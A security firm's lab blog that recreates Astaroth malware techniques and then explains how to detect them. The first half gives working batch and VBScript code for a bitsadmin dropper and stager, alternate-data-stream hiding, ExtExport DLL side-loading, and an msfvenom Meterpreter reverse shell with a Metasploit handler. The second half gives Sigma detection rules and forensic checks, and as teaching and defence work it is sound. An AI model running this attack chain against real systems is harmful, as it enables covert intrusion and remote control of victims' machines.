In the second part of F-Secure Consulting's Attack Detection Workshop series, covering Code Execution and Persistence, we explored a number of offensive techniques for achieving code execution and maintaining a foothold within a target environment. We emulated the TTPs used by Astaroth malware to do this, and saw how living-off-the-land binaries (LOLBins), DLL side-loading and alternate data streams could be put to use by threat actors. We also explored the detection strategies that can be employed to spot these using our own detection stacks. The following blog provides a step-by-step guide to recreating the demos from that Code Execution and Persistence workshop, as well as exercises to further the reader's understanding of the concepts shown.
For this first lab we are going to carry out a simplified simulation of a real Astaroth compromise, much like the ones we have detected. Although the flow of the Astaroth malware is a lot more sophisticated and stealthier than what it is proposed here, the core techniques will remain the same. Specifically, we are going to focus on the two new techniques the latest iteration of the malware incorporates, explaining how the actors behind the campaign used them to achieve their goals.
In the same manner, we are also going to explain the different ways these techniques can be detected, providing examples of the different tools we can use to do it. The goal of this lab is therefore to provide the reader with a basic knowledge on how this attacks occur and how they can be detected.
For better context, an introduction to this campaign and to each of these techniques is provided.
DISCLAMER: Set up of the tools and the testing environment might not be covered comprehensively within this lab. We will assume basic familiarity with Linux/Windows command line and the ability of the reader to deploy the necessary frameworks. For that, it is recommended to follow the suggested references for the official tutorials and walkthrough published by the framework's author.
Astaroth is a malware campaign that has always made heavy use of obfuscation, fileless techniques and legitimate system tools (also known as Living-off-the-Land binaries or LOLBins) in order to avoid detection. In its latest form, seen first in February and still active, the malware ditched the use of Windows Management Instrumentation Command-line (WMIC) and adopted two new, less common techniques:
Through these techniques, the malware was able to get access to the victim's system, deliver the payloads and execute them in an even stealthier manner than in previous campaigns.
Living-off-the-Land Binaries or LOLBins is a term to refer to any binaries that are already part of the operating system and that can be abused by malicious actors to perform actions they were not intended to. They are very helpful for attackers for two main reasons:
This definition can also be expanded to include libraries and scripts, which are known as LOLBAS (Living-off-the-Land Binaries, Scripts and Libraries) further expandind the toolset readily available to the attacker.
In the lab, as with the real Astaroth malware, we are going to focus on the next two LOLBins.
The Background Intelligent Transfer Service Admin (or BITSAdmin) is a Windows command-line tool whose main purpose is to manage download and upload jobs, while allowing us to monitor their progress. However, there are many different ways how this tool can and has historically been abused, with attackers using it for anything from file transfer to code execution. Some of these examples are detailed below:
bitsadmin /transfer <job_name> /priority <priority> <remote_path> <local_path>
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /RESUME 1 & bitsadmin /Complete 1 & bitsadmin /reset
bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\cmd.exe NULL & bitsadmin /RESUME 1 & bitsadmin /Reset
bitsadmin /Create <job_name>
bitsadmin /Addfile <job_name> <remote_path> <local_path>
bitsadmin /SetNotifyFlags <job_name> 1
bitsadmin /SetNotifyCmdLine <job_name> <program_name> [program_parameters]
bitsadmin /SetMinRetryDelay <job_name> 30
bitsadmin /Resume <job_name>
In this lab we are going to use BITSAdmin to transfer the payloads, but I strongly recommend the reader go over the list of references on this walkthrough and explore all its possible uses and tips on how to detect them.
ExtExport.exe is a utility that comes bundled with Internet Explorer that looks and loads DLLs with the following names:
An attacker can abuse this tool by passing it a path ("C:\test" in the below example) where a malicious DLL is stored.
Extexport.exe c:\test foo bar
ExtExport.exe will then side-load it and the embedded payload will be executed.
Alternative Data Streams (ADS) are a property of every entry on the Master File Table (MFT) of NTFS formatted file systems, that can be used to store arbitrary data. When used maliciously, this can be abused as a defense evasion and code execution technique, by hiding complete files from normal methods of detection, and providing the ability to access them at a later time.
type <filepath> <target_file:ads>
<command> <target_file:ads> [arguments]
An important thing to note here is that the command to execute the file hidden in the ADS will be different depending on the format of said file.
Unsurprisingly, this technique can also be abused as a means to achieve or help achieving persistence.
First of all, we need to create a dropper file that will imitate the one users received after clicking on the malicious link in the Astaroth campaign, and that kickstarts the whole compromise process. To do this, we are going to write a helper batch file that will use a temporary VBScript to create the final LNK dropper file.
Simply copy the code below to your favourite IDE, give it a .bat extension, move it to the Windows VM and execute it to create the dropper in LNK format.
rem Create a dropper in LNK (shortcut) format that will download and execute the CMD stager.
rem Create the target directoty if it does not exist.
if not exist "%PATH_PUBLIC_DIR%" mkdir %PATH_PUBLIC_DIR%
rem Use a temporary VBScript to create the LNK dropper.
rem The LNK dropper will contain code to download, execute and delete the CMD stager.
echo Set oWS = WScript.CreateObject("WScript.Shell") > %PATH_DROPPER_LNK_CREATE%
echo sLinkFile = "%PATH_DROPPER_LNK%" >> %PATH_DROPPER_LNK_CREATE%
echo Set oLink = oWS.CreateShortcut(sLinkFile) >> %PATH_DROPPER_LNK_CREATE%
echo oLink.TargetPath = "C:\Windows\System32\cmd.exe" >> %PATH_DROPPER_LNK_CREATE%
echo oLink.Arguments = "/c bitsadmin /transfer 1 /priority FOREGROUND %URL_STAGER_CMD% %PATH_STAGER_CMD% & call %PATH_STAGER_CMD% & del %PATH_STAGER_CMD%" >> %PATH_DROPPER_LNK_CREATE%
echo oLink.Save >> %PATH_DROPPER_LNK_CREATE%
Notably, within this script we can see the construction of our BITSAdmin command using the "/transfer" flag.
When we execute the dropper, it will connect back to the attacking server, download the stager payload, execute it and delete it.
NOTE: You can discard this batch file after the dropper has been created, as this is not really part of the simulation. Alternatively, you can use any other method you prefer to create the shortcut file.
Next we are going to write the stager. As mentioned in the introduction this is going to be a simplified simulation of the attack flow of the real threat, but we will still keep the main focus on the usage of LOLBins and Alternate Data Streams as a means of downloading, hiding and executing our payloads.
The code that follows this text downloads the final Meterpreter payload in DLL format using Bitsadmin.
bitsadmin /transfer <job_name> /priority FOREGROUND <remote_filename> <local_filename>
This payload then gets renamed to one of three DLL names that Extexport looks for (mozcrt19.dll, mozsqlite3.dll or sqlite3.dll) and stored in C:\Users\Public\Libraries\raw, where the Extexport utility will find it.
For this to happen we need some launcher code first. This is going to be generated by a small VBScript that we will drop to disk, then copy into the ADS of desktop.ini and finally delete it, effectively hiding it from unwanted attention.
type <evil_file> <target_file:evil_file> && erase <evil_file>
Now that our newly-created launcher generator script is safely stored, we can execute it to get the launcher file in shortcut format (.lnk).
This small program will use the Extexport LOLBin, which is a legitimate utility shipped as part of Internet Explorer. The code inside the launcher shortcut looks similar to this:
C:\Program Files (x86)\Internet Explorer\Extexport.exe <target_directory> <foo> <bar>
Finally we can execute our launcher code:
start /b <file>
You can find the whole stager code below.
rem Create the target directoty if it does not exist.
if not exist "%PATH_PUBLIC_DIR%" mkdir %PATH_PUBLIC_DIR%
rem ExtExport.exe looks for any DLL with the following names.
rem Select one DLL filename at random.
set /a _rand=%RANDOM% %% 3 + 1
set PATH_EXTEXPORT_EXE=C:\Program Files (x86)\Internet Explorer\Extexport.exe
set EXTEXPORT_ARGS=C:\Users\Public\Libraries\raw foo bar
rem Download the renamed DLL payload from the server.
bitsadmin /transfer 2 /priority FOREGROUND %URL_PAYLOAD_DLL% %PATH_EXTEXPORT_DLL%
rem Use a temporary VBScript to create the LNK launcher.
rem The launcher will take the renamed DLL payload and load it using ExtExport.
echo Set oWS = WScript.CreateObject("WScript.Shell") > %PATH_LAUNCHER_CREATE_VBS%
echo sLinkFile = "%PATH_LAUNCHER_LNK%" >> %PATH_LAUNCHER_CREATE_VBS%
echo Set oLink = oWS.CreateShortcut(sLinkFile) >> %PATH_LAUNCHER_CREATE_VBS%
echo oLink.TargetPath = "%PATH_EXTEXPORT_EXE%" >> %PATH_LAUNCHER_CREATE_VBS%
echo oLink.Arguments = "%EXTEXPORT_ARGS%" >> %PATH_LAUNCHER_CREATE_VBS%
echo oLink.Save >> %PATH_LAUNCHER_CREATE_VBS%
rem Copy the launcher creation VBScript to the Alternate Data Stream (ADS) of desktop.ini and erase it.
type %PATH_LAUNCHER_CREATE_VBS% > %PATH_LAUNCHER_CREATE_ADS% && erase %PATH_LAUNCHER_CREATE_VBS%
rem Execute the launcher creation VBScript from the Alternate Data Stream (ADS).
rem Execute the LNK launcher. This will use ExtExport.exe to side load and execute the DLL payload.
start /b %PATH_LAUNCHER_LNK%
This file needs to be stored in your attacking VM in the same folder from where we are going to start our server. When we execute the dropper created in the previous step, this file will be fetched, executed and then deleted.
NOTE: In the second lab we are going to modify this script to achieve persistence by adding this launcher in .lnk format to the StartUp folder.
In order to generate the malicious DLL file that Extexport will import, we will use msfvenom, a utility of the Metasploit framework used to generate payloads in different formats and for multiple platforms.
To create the payload, enter the following command:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacking_ip> LPORT=4444 -f dll -o payload.dll
Breakdown of the command:
If everything worked as expected, you should see something like this:
The name of the payload will be later renamed to one of the Extexport DLLs when we copy it to the target machine, as explained in the previous step.
We are going to make use of the SimpleHTTPServer Python module to quickly spin up a HTTP server that will serve our newly-created stager and payload. In the Operation Cobalt Kitty lab in the first workshop, we used Cobalt Strike's web server to achieve this, here SimpleHTTPServer achieves the same thing.
Change to the same directory where our payloads are stored and execute the following command:
# python 2.X
python -m SimpleHTTPServer 80
# python 3.X
python -m http.server 80
This will spin up our web server, and any file in that directory will be accessible by performing a request in the following format:
To set up the C2 server that will receive the reverse connection from our payload, we will use the Metasploit Framework. Installation and setup of the framework is outside of the scope of this lab and is therefore left as an exercise for the reader.
Start the Metasploit console and configure what, in Metasploit terminology, is known as a "handler":
This will bring you to the handler configuration. Here, we can specify the type of payload we wish to use, and allow us to configure the IP address and port where Metasploit will be listening:
# Define the payload used:
set PAYLOAD windows/meterpreter/reverse_tcp
# Define the listening host:
set LHOST <OUR_IP>
# Define the listening port:
set LPORT 4444
# Start the handler:
The description of the payload we have chosen reads "Windows Meterpreter (Reflective Injection), Reverse TCP Stager", which means that this is a Meterpreter implant that communicates back to the Metasploit server over the TCP protocol.
Metasploit uses a specific naming convention for payloads:
<platform> / <architecture> / <payload type> / <communication type>
Meterpreter is Metasploit's standard implant, and its definition is the following (kindly borrowed from Offensive Security):
Meterpreter is an advanced, dynamically-extensible payload that uses in-memory DLL injection stagers and is extended over the network at runtime. It communicates over the stager socket and provides a comprehensive client-side Ruby API. It features command history, tab completion, channels, and more.
The C2 framework is now ready to receive connections.
Now that all the pieces are in place, we are ready to carry out the attack. To do so, we just need to follow the steps detailed below:
First, move the "create_dropper_lnk.bat" batch file to the Windows VM that will act as the target (any directory is fine) and execute it. This will create a shortcut file named "clickme.lnk" that will imitate the Infection Vector in the real attack.
On the attacking machine, move to the directory where the payloads are stored and set up a HTTP server as described above.
Open up a Metasploit console and set up a listener for a reverse Meterpreter shell over TCP, again following the steps already outlined.
Back to the target machine, it is time for the user to click on that completely benign-looking file. This will trigger the whole attack chain.
Turns out the "clickme" shortcut file is a dropper - who would have thought! After executing, this binary uses BITSAdmin to fetch the next step of the attack chain, a stager batch file. This stager gets automatically executed and performs two actions:
First it reaches back to our C2 server, retrieves our DLL payload, renames it and stores it in "C:\Users\Public\Libraries\raw\".
Second, it generates a VBS script and copies it to the Alternate Data Stream of "desktop.ini" inside the same directory, hiding it from unwanted eyes. The original script is immediately deleted.
This now hidden script is accessed and executed by the stager, creating the final launcher file in shortcut format (.lnk).
Almost there! In its final step, the stager executes the shortcut file, which launches ExtExport.exe - a LOLBin bundled in Internet Explorer - pointing to the directory where the suitably-renamed DLL payload is stored. If successful, the DLL is side-loaded and the embedded payload is executed.
Voila! A Meterpreter session appears in the terminal of our attacking machine. Good job!
We are now aware of how the attackers behind the Astaroth campaign conducted a large part of their operation. So how do we detect them?
The following section describes some of the ways in which the abuse of the techniques we just discussed can be detected, with a few insights into some of the implementations Countercept used when facing with this threat.
Most of the tools we are going to use to this end can be categorised as one of the following types:
Apart from the event logs, to follow along with some of the examples we recommend installing the following tools:
As explained in the introduction, although initially designed for download and upload jobs, BITSAdmin can actually be abused by an attacker for a number of different tasks. In the next section we describe some ways in which some of these malicious actions can be detected.
BITSAdmin is started as a service, so a quick way to know if an instance is running is to use the sc command to query for the BITS service.
sc query bits
We could also use events with an EID of 7036 for the BITS service entering a running state.
The Queue Manager Database (QMGR) is a database that stores the records of all the executed BITS jobs. It can be found in:
Unfortunately the contents of this database is hex encoded, but a quick workaround to get some useful information from it is to grep or filter for "http" to get a list of all the IPs of the files that have been downloaded using this tool.
There are a few already made Sigma rules that cover detection for some of the use cases mentioned above. Here we are going to talk about two of, in our opinion, most useful ones for general purposes.
This first rule is the most useful for the scenario described in the lab. It detects every instance of BITSAdmin using the /transfer flag to download a file.
title: Bitsadmin Download
description: Detects usage of bitsadmin downloading a file
author: Michael Haag
- '* /transfer *'
- '*copy bitsadmin.exe*'
condition: selection1 or selection2
- Some legitimate apps use this, but limited.
Another use case for BITSAdmin we have not spoken about yet is using the following PowerShell cmdlet to start a job.
For example, using:
Start-BitsTransfer -Source <source_url> -Destination <destination_path>
This next rule would cover us in such scenarios.
title: Suspicious Bitsadmin Job via PowerShell
description: Detect download by BITS jobs via PowerShell
author: Endgame, JHasenbusch (ported to sigma for oscd.community)
The following event log contains the download state, source, user and file information for each BITS transfer job carried out on a system:
Depending on existing coverage, it might be worth ingesting this log and monitoring for these BITSAdmin events. To filter down the high amount of events, it is worth looking for event ID 59. This will show information on the URL the BITSAdmin job connected to.
In many cases, any connection to a non-local address will justify investigation, and this can be further correlated with threat intelligence feeds to add more context to the alerts, for example. The BITSAdmin client also has a User Agent of "BITS". Ingesting web proxy logs, filtering on this User Agent would allow you to identify all hosts talking externally with this LOLBin.
Windows Defender has a behaviour-based detection for suspicious use of the ExtExport.exe binary (Behavior:Win32/ExtExportAbuse.B).
However, as we have seen this is often not enough, so it is a good idea to add some detection of our own.
ExtExport.exe process execution is quite unusual, so that in itself could be enough of an indicator worth checking. For more accuracy, we could also check the parameters, specially if a path is given, followed by two additonal random arguments.
A homemade Sigma rule could look as follows:
title: ExtExport.exe DLL Side Loading
description: Detects ExtExport.exe with arguments being executed. Could indicate a DLL Side-Loading attempt.
author: Martin, Anartz
- '^[Cc]\:\\[Pp]rogram\ [Ff]iles(\ \([Xx]86\))?\\[Ii]nternet\ [Ee]xplorer\\[Ee]xt[Ee]xport\.exe$'
condition: selection and not filter
- Depending on the estate activity. They should be rare.
The rule should be further refined by baselining it against the usual activity in the estate, whitelisting any legitimate use case for this binary.
The next image shows a successful detection for suspicious ExtExport.exe use, done by our managed detection and response solution.
If we are already suspicious of a specific file, one of the easiest, most straightforward ways of confirming if there is a rogue ADS in it is to run a dir /R command on the directory the file is in.
dir /R <target_directory>
Of course, this is certainly not the situation we are most commonly in, and we ideally want to develop detection mechanisms that will alert us of an attack upon execution.
The main problem when it comes to ADS is that there are a great variety of file formats that can be stored in the alternate data stream of a given file. This means there are also many ways of executing a hidden payload and, therefore, different execution detection mechanisms to use depending on the scenario. Additionally, the reported size (and hash!) of the file containing the ADS payload does not change after our malicious file is added.
However, there are some tools at our disposal that can help us automate and speed up the process of recursively gathering all the data streams in a given directory.
Streams is a tool in the Sysinternals suite that examines a given file or directory and returns a list of the names and sizes of any ADS it encounters. A nice touch is that it also allows us to delete the streams with the "-d" flag.
streams [-s] [-d] <file_or_directory>
For a less forensic and more active detection approach, you can feed the following Sigma rule into your SIEM and monitor for data written into NTFS ADS (with the caveats that it only detects it when it spawns from a PowerShell process and that Script Block Logging needs to be active).
title: NTFS Alternate Data Stream
description: Detects writing data into NTFS alternate data streams from powershell. Needs Script Block Logging.
author: Sami Ruohonen
definition: 'It is recommended to use the new "Script Block Logging" of PowerShell v5 https://adsecurity.org/?p=2277'
condition: keyword1 and keyword2
A more generic approach to detect code execution using ADS, like the one we use currently, involves monitoring for a known list of usual suspect processes running a binary or script in an ADS by parsing the image name and checking if the arguments are in ADS format and contain a file in them (have a colon ":" and a known extension), together with various whitelisting filters resulting from some exhaustive baselining.
Finally, it is also worth mentioning that Sysmon also offers ADS creation logging capability, although this might require a decent amount of fine tuning to make the amount of data it generates manageable.
The main goal of this lab was to present the reader with a simplified version of a real world threat in order to give an engaging and holistic view of the whole attack and defence cycle. We observed the use of several code execution techniques, including the use of LOLBins and Alternate Data Streams, and identified detection opportunities both from a forensic perspective and in terms of active monitoring. Several sigma rules have been provided that seek to detect the offensive actions we performed.
The main takeaways from this first lab are:
In the next lab, we'll adapt our malware to include persistence mechanisms. You can find the guide for that lab here.